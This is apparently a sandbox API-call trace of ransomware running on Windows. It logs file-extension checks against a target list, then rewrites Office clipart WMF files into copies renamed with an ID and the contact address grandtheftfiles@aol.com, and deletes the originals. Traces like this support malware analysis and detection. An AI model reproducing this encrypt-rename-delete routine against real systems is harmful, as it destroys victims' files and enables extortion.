	[0177.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.154] lstrlenW (lpString=".zip") returned 4
	[0177.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.154] lstrlenW (lpString=".rar") returned 4
	[0177.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.154] lstrlenW (lpString=".bz2") returned 4
	[0177.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.154] lstrlenW (lpString=".7z") returned 3
	[0177.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.154] lstrlenW (lpString=".dbf") returned 4
	[0177.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.154] lstrlenW (lpString=".1cd") returned 4
	[0177.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0177.154] lstrlenW (lpString=".jpg") returned 4
	[0177.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.154] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.154] lstrlenW (lpString="J0152894.WMF") returned 12
	[0177.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0177.292] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=11348) returned 1
	[0177.293] CloseHandle (hObject=0x570) returned 1
	[0177.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220
	[0177.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0177.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0177.313] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.313] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.314] GetLastError () returned 0x0
	[0177.314] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2c54, lpOverlapped=0x0) returned 1
	[0177.352] WriteFile (in: hFile=0x588, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2c60, lpOverlapped=0x0) returned 1
	[0177.353] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.353] WriteFile (in: hFile=0x588, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.353] SetEndOfFile (hFile=0x588) returned 1
	[0177.353] CloseHandle (hObject=0x588) returned 1
	[0177.354] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.354] SetEndOfFile (hFile=0x45c) returned 1
	[0177.938] CloseHandle (hObject=0x45c) returned 1
	[0177.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1
	[0177.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.940] lstrlenW (lpString=".doc") returned 4
	[0177.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.940] lstrlenW (lpString=".docx") returned 5
	[0177.940] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.940] lstrlenW (lpString=".pdf") returned 4
	[0177.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.940] lstrlenW (lpString=".xls") returned 4
	[0177.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.941] lstrlenW (lpString=".xlsx") returned 5
	[0177.941] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.941] lstrlenW (lpString=".ppt") returned 4
	[0177.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString=".zip") returned 4
	[0177.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.941] lstrlenW (lpString=".rar") returned 4
	[0177.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString=".bz2") returned 4
	[0177.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString=".7z") returned 3
	[0177.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString=".dbf") returned 4
	[0177.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString=".1cd") returned 4
	[0177.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString=".jpg") returned 4
	[0177.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.941] lstrlenW (lpString=".doc") returned 4
	[0177.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString=".docx") returned 5
	[0177.941] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0177.941] lstrlenW (lpString=".pdf") returned 4
	[0177.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.941] lstrlenW (lpString=".xls") returned 4
	[0177.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.942] lstrlenW (lpString=".xlsx") returned 5
	[0177.942] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0177.942] lstrlenW (lpString=".ppt") returned 4
	[0177.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.942] lstrlenW (lpString=".zip") returned 4
	[0177.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.942] lstrlenW (lpString=".rar") returned 4
	[0177.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.942] lstrlenW (lpString=".bz2") returned 4
	[0177.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.942] lstrlenW (lpString=".7z") returned 3
	[0177.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.942] lstrlenW (lpString=".dbf") returned 4
	[0177.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.942] lstrlenW (lpString=".1cd") returned 4
	[0177.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0177.942] lstrlenW (lpString=".jpg") returned 4
	[0177.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.942] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.943] lstrlenW (lpString="J0153047.WMF") returned 12
	[0177.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0177.943] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=33068) returned 1
	[0177.944] CloseHandle (hObject=0x45c) returned 1
	[0177.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220
	[0177.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0177.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0177.944] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.944] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.945] GetLastError () returned 0x0
	[0177.945] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x812c, lpOverlapped=0x0) returned 1
	[0178.006] WriteFile (in: hFile=0x588, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x8130, lpOverlapped=0x0) returned 1
	[0178.008] ReadFile (in: hFile=0x45c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.008] WriteFile (in: hFile=0x588, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.008] SetEndOfFile (hFile=0x588) returned 1
	[0178.008] CloseHandle (hObject=0x588) returned 1
	[0178.008] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.008] SetEndOfFile (hFile=0x45c) returned 1
	[0178.012] CloseHandle (hObject=0x45c) returned 1
	[0178.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1
	[0178.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.013] lstrlenW (lpString=".doc") returned 4
	[0178.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.013] lstrlenW (lpString=".docx") returned 5
	[0178.013] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0178.013] lstrlenW (lpString=".pdf") returned 4
	[0178.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.013] lstrlenW (lpString=".xls") returned 4
	[0178.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.013] lstrlenW (lpString=".xlsx") returned 5
	[0178.013] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0178.013] lstrlenW (lpString=".ppt") returned 4
	[0178.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.013] lstrlenW (lpString=".zip") returned 4
	[0178.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.013] lstrlenW (lpString=".rar") returned 4
	[0178.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString=".bz2") returned 4
	[0178.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString=".7z") returned 3
	[0178.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.014] lstrlenW (lpString=".dbf") returned 4
	[0178.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.014] lstrlenW (lpString=".1cd") returned 4
	[0178.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.014] lstrlenW (lpString=".jpg") returned 4
	[0178.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.014] lstrlenW (lpString=".doc") returned 4
	[0178.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString=".docx") returned 5
	[0178.014] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0178.014] lstrlenW (lpString=".pdf") returned 4
	[0178.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.014] lstrlenW (lpString=".xls") returned 4
	[0178.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.014] lstrlenW (lpString=".xlsx") returned 5
	[0178.014] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0178.015] lstrlenW (lpString=".ppt") returned 4
	[0178.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.015] lstrlenW (lpString=".zip") returned 4
	[0178.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.015] lstrlenW (lpString=".rar") returned 4
	[0178.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.015] lstrlenW (lpString=".bz2") returned 4
	[0178.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.015] lstrlenW (lpString=".7z") returned 3
	[0178.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.015] lstrlenW (lpString=".dbf") returned 4
	[0178.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.015] lstrlenW (lpString=".1cd") returned 4
	[0178.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68
	[0178.015] lstrlenW (lpString=".jpg") returned 4
	[0178.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.015] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.015] lstrlenW (lpString="J0153093.WMF") returned 12
	[0178.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.617] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=8880) returned 1
	[0178.618] CloseHandle (hObject=0x540) returned 1
	[0178.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220
	[0178.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.755] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.755] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0178.756] GetLastError () returned 0x0
	[0178.756] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x22b0, lpOverlapped=0x0) returned 1
	[0178.759] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x22c0, lpOverlapped=0x0) returned 1
	[0178.760] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.760] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.761] SetEndOfFile (hFile=0x540) returned 1
	[0178.761] CloseHandle (hObject=0x540) returned 1
	[0178.761] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.761] SetEndOfFile (hFile=0x548) returned 1
	[0178.763] CloseHandle (hObject=0x548) returned 1
	[0178.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.765] lstrlenW (lpString=".doc") returned 4
	[0178.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString=".docx") returned 5
	[0178.765] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0178.765] lstrlenW (lpString=".pdf") returned 4
	[0178.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString=".xls") returned 4
	[0178.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.765] lstrlenW (lpString=".xlsx") returned 5
	[0178.765] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0178.765] lstrlenW (lpString=".ppt") returned 4
	[0178.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.765] lstrlenW (lpString=".zip") returned 4
	[0178.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.765] lstrlenW (lpString=".rar") returned 4
	[0178.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString=".bz2") returned 4
	[0178.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString=".7z") returned 3
	[0178.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.765] lstrlenW (lpString=".dbf") returned 4
	[0178.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.765] lstrlenW (lpString=".1cd") returned 4
	[0178.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".jpg") returned 4
	[0178.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF") returned 68
	[0178.766] lstrlenW (lpString=".doc") returned 4
	[0178.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString=".docx") returned 5
	[0178.766] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0178.766] lstrlenW (lpString=".pdf") returned 4
	[0178.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.766] lstrlenW (lpString=".xls") returned 4
	[0178.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.766] lstrlenW (lpString=".xlsx") returned 5
	[0178.766] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0178.766] lstrlenW (lpString=".ppt") returned 4
	[0178.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
